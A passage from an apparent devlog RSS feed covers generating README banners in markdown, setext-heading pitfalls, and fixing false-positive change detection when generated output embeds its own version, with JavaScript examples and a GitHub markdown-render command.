&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(out);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;--- idempotent? ---&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;spliceUnderH1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(out, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;tally&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, body, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;0.9.0&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; out);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;# tally&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;#x3C;!-- &gt;&gt;&gt; brand:mast v0.9.0 GENERATED, do not edit --&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;**Kit** · TALLY · CLAUDE CODE SKILL · KIT v0.9.0 · Nate Swenson&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;---&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;#x3C;!-- &amp;#x3C;&amp;#x3C;&amp;#x3C; brand:mast --&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;*Count things that matter, and nothing else.*&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;## Why install this&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;--- idempotent? ---&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;true&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then render the result, because the whole point is that the source does not tell you:&lt;/p&gt;
&lt;pre class=&quot;shiki is-cmdbar vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;gh&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; api&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; --method&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; POST&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; /markdown&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; text=&quot;$(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;cat&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; rendered.md)&quot;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; mode=gfm&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;#x3C;h1&gt;tally&amp;#x3C;/h1&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;#x3C;p&gt;&amp;#x3C;strong&gt;Kit&amp;#x3C;/strong&gt; · TALLY · CLAUDE CODE SKILL · KIT v0.9.0 · Nate Swenson&amp;#x3C;/p&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;#x3C;hr&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;#x3C;p&gt;&amp;#x3C;em&gt;Count things that matter, and nothing else.&amp;#x3C;/em&gt;&amp;#x3C;/p&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;#x3C;h2&gt;Why install this&amp;#x3C;/h2&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;An &lt;code&gt;&amp;lt;h1&amp;gt;&lt;/code&gt;, then a paragraph, then an &lt;code&gt;&amp;lt;hr&amp;gt;&lt;/code&gt;. If that middle line comes back as &lt;code&gt;&amp;lt;h2&amp;gt;&lt;/code&gt;, the blank line is missing.&lt;/p&gt;
&lt;p&gt;Check the refusal path too:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;node&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -e&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;import(&apos;./splice.mjs&apos;).then(({spliceUnderH1}) =&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  try { spliceUnderH1(&apos;# tally (beta)\n&apos;, &apos;tally&apos;, &apos;x&apos;, &apos;0.9.0&apos;); }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  catch (e) { console.log(&apos;refused:&apos;, e.message); }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;refused: no anchor: the README&apos;s first heading must be exactly &quot;# tally&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;What the medium takes away&lt;/h2&gt;
&lt;p&gt;Translating a visual component into markdown means giving things up, and it is worth writing down which, next to the code, so the next reader does not “fix” them:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The banner sits under the H1, not above it.&lt;/strong&gt; Every other medium opens on the banner. A repository page has to open on its own name, so here the H1 is the headline and the banner follows.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The byline is not right-aligned.&lt;/strong&gt; Markdown has no alignment short of raw HTML, and a table wrapper to fake it would put a box around the banner, which is a worse violation of the design than an unaligned byline.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No monospace face.&lt;/strong&gt; Backticks are markdown’s only monospace, and GitHub renders a code span as a filled rounded chip. Tracked capitals survive as capitals; the styling does not, so the stamp is plain bold.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Each of those lives in the emitter’s docstring, because a deviation with no recorded reason reads as an oversight.&lt;/p&gt;
&lt;h2&gt;Gotchas&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;The setext trap has no error and no warning.&lt;/strong&gt; A missing blank line produces valid markdown that renders as a heading. Symptom: the banner is suddenly large and bold, and every automatic table of contents on the page grows an entry that is not a section. Escape: a test that renders and asserts on the HTML, not on the source, and a comment in the code saying the blank line is load-bearing.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A decorated H1 does not error, it detaches.&lt;/strong&gt; If your anchor is &lt;code&gt;^# &amp;lt;name&amp;gt;$&lt;/code&gt; and someone retitles the file, the next run finds no region and no anchor. Symptom: on the following run, a second banner appears lower down the file, or the region silently stops being updated. Escape: raise on a missing anchor, as above, and pin the H1 form in whatever check grades the file.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Enforce a generated house style outside the path filter.&lt;/strong&gt; A README belonging to component A can be edited in component B’s pull request, and a path-filtered check will never look at it. Symptom: a shape that holds for months and then rots one pull request at a time. Escape: run the structural check unconditionally in a job that has no path filter.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Headings inside fenced code blocks are still headings to a naive scanner.&lt;/strong&gt; Any check that counts &lt;code&gt;## &lt;/code&gt; lines to grade document structure will count the ones inside your examples. Symptom: a document whose last section looks like something else to the checker, or a false failure on a file that documents a markdown format. Escape: make the scanner fence-aware before you trust it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A README over 500 KiB is truncated on GitHub.&lt;/strong&gt; The docs state that “any content beyond 500 KiB will be truncated” when a README is viewed (&lt;a href=&quot;https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes&quot;&gt;about READMEs&lt;/a&gt;). That is a lot of banner, but generated content plus generated tables can approach it. Escape: keep generated regions small, and link out rather than inlining.&lt;/p&gt;
&lt;h2&gt;Sources&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://spec.commonmark.org/0.31.2/&quot;&gt;CommonMark 0.31.2 specification&lt;/a&gt; — the setext heading rule, and the example showing the blank line producing a thematic break instead.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.github.com/gfm/&quot;&gt;GitHub Flavored Markdown spec&lt;/a&gt; — setext headings are inherited core CommonMark, not a GFM extension.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes&quot;&gt;About READMEs&lt;/a&gt; — where GitHub surfaces a README, and the 500 KiB truncation limit.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Changelog&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;feat(press,smith): one README house style, generated by press and gated in CI (#152) (&lt;a href=&quot;https://github.com/natejswenson/claude-skills/commit/f2a0470f628225b6094a115a49f0aeeb8af1d9bd&quot;&gt;f2a0470&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><enclosure url="https://natejswenson.com/devlog/press/v0.9.0.png" length="31743" type="image/png"/></item><item><title>Only the consumer without a version badge got the right answer</title><link>https://natejswenson.com/devlog/press/v0.8.1/</link><guid isPermaLink="true">https://natejswenson.com/devlog/press/v0.8.1/</guid><description>When generated output contains the version of the generator that produced it, a byte comparison can no longer tell you whether anything really changed. Every release looks like a content change, and the label that was supposed to mean something stops meaning it.</description><pubDate>Sat, 01 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Shipped&lt;/h2&gt;
&lt;p&gt;0.8.1 fixed a false positive in a fan-out tool. The tool labels each pull request by what actually moved: a values change gets a loud title and a design review, a version-only adoption gets a quiet title and a one-line diff. On the previous release, three of the four consumer repositories got the loud title for a release in which no design value had changed at all.&lt;/p&gt;
&lt;p&gt;The one consumer that got it right was the only one with no version line in its README. That is what pointed at the cause. The emitter for that version line writes the generator’s own version into the body it emits, so a pure version bump moves those bytes, and a comparison against the newly-emitted body reports a content change every single time.&lt;/p&gt;
&lt;p&gt;Any generator whose output embeds its own version has this bug available to it. This guide reproduces it, fixes it with a comparison that asks a better question, and pins both directions with tests.&lt;/p&gt;
&lt;h2&gt;Setup: an emitter that writes its own version into its output&lt;/h2&gt;
&lt;p&gt;Two emitters, which is the minimum needed to see the problem. One writes the version into the body it produces; the other does not:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// emit.mjs — two emitters. Only one of them writes the version into its output.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; versionBadge&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(tokens, { version }) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    `**Brand:** kit v${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}, accent ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;tokens&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;accent&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}.`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &apos;Generated from the design tokens; edit tokens.json and re-emit.&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  ].&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; cssVars&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(tokens) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; `:root {&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  --accent: ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;tokens&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;accent&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;};&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; EMITTERS &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;version-badge&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: versionBadge, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;css-vars&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: cssVars };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; const&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; emitBody&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (name, tokens, ctx) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; EMITTERS[name](tokens, ctx);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A version line in a README is a genuinely useful thing to generate. Without one, the only places a consumer’s version of a shared tool appears are a CI pin and a comment marker, and nobody reads either when they land on a repository. The cost is that the emitter now has a run-time input, the version, mixed into output that is otherwise a pure function of the tokens.&lt;/p&gt;
&lt;h2&gt;The comparison that answers the wrong question&lt;/h2&gt;
&lt;p&gt;The natural way to ask “did anything change” is to emit fresh and compare:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// compare.mjs — did the VALUES move, or only the version?&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { emitBody } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;./emit.mjs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; trim&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (s) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; s.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;replace&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;/\s+$/&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;/** v1: compare what is on disk against what we would write now. */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; valuesMovedNaive&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(found, emitter, tokens, version) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; trim&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(found.body) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!==&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; trim&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;emitBody&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(emitter, tokens, { version }));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That is correct for &lt;code&gt;css-vars&lt;/code&gt; and wrong for &lt;code&gt;version-badge&lt;/code&gt;, and the difference is invisible from the call site. Both are just emitters. The question being asked, “are the bytes on disk what I would write now”, quietly includes “was this written by the release I am currently shipping”, which is a different question and always answers no on a release.&lt;/p&gt;
&lt;h2&gt;Compare at the version the file records&lt;/h2&gt;
&lt;p&gt;The region on disk records which release wrote it. Use that: re-emit with today’s tokens &lt;em&gt;at the recorded version&lt;/em&gt; and compare against that instead. If they match, no value moved, whatever the version substitution did to the bytes.&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;/**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; * v2: compare what is on disk against what TODAY&apos;S tokens would emit AT THE&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; * VERSION THE REGION RECORDS. If those match, no value moved, whatever the&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; * version substitution did to the bytes.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; valuesMoved&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(found, emitter, tokens, version) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;found.version) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; valuesMovedNaive&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(found, emitter, tokens, version);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; atRecorded &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; emitBody&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(emitter, tokens, { version: found.version });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; trim&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(found.body) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!==&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; trim&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(atRecorded);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is the same trick reproducible builds use for timestamps. The Reproducible Builds project treats build-time metadata as the primary obstacle to bit-for-bit comparison, noting that “Timestamps make the biggest source of reproducibility issues. Many build tools record the current date and time”, and the remedy is &lt;code&gt;SOURCE_DATE_EPOCH&lt;/code&gt;, a fixed value substituted in so that “Tools that support it will use its value … instead of the current date and time” (&lt;a href=&quot;https://reproducible-builds.org/docs/timestamps/&quot;&gt;timestamps&lt;/a&gt;). Holding the version constant across a comparison is the same move: pin the volatile input so the comparison is about the content.&lt;/p&gt;
&lt;h2&gt;Use it, then verify it&lt;/h2&gt;
&lt;p&gt;Three consumer states, one release, both comparisons side by side:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { emitBody } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;./emit.mjs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { valuesMoved, valuesMovedNaive } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;./compare.mjs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
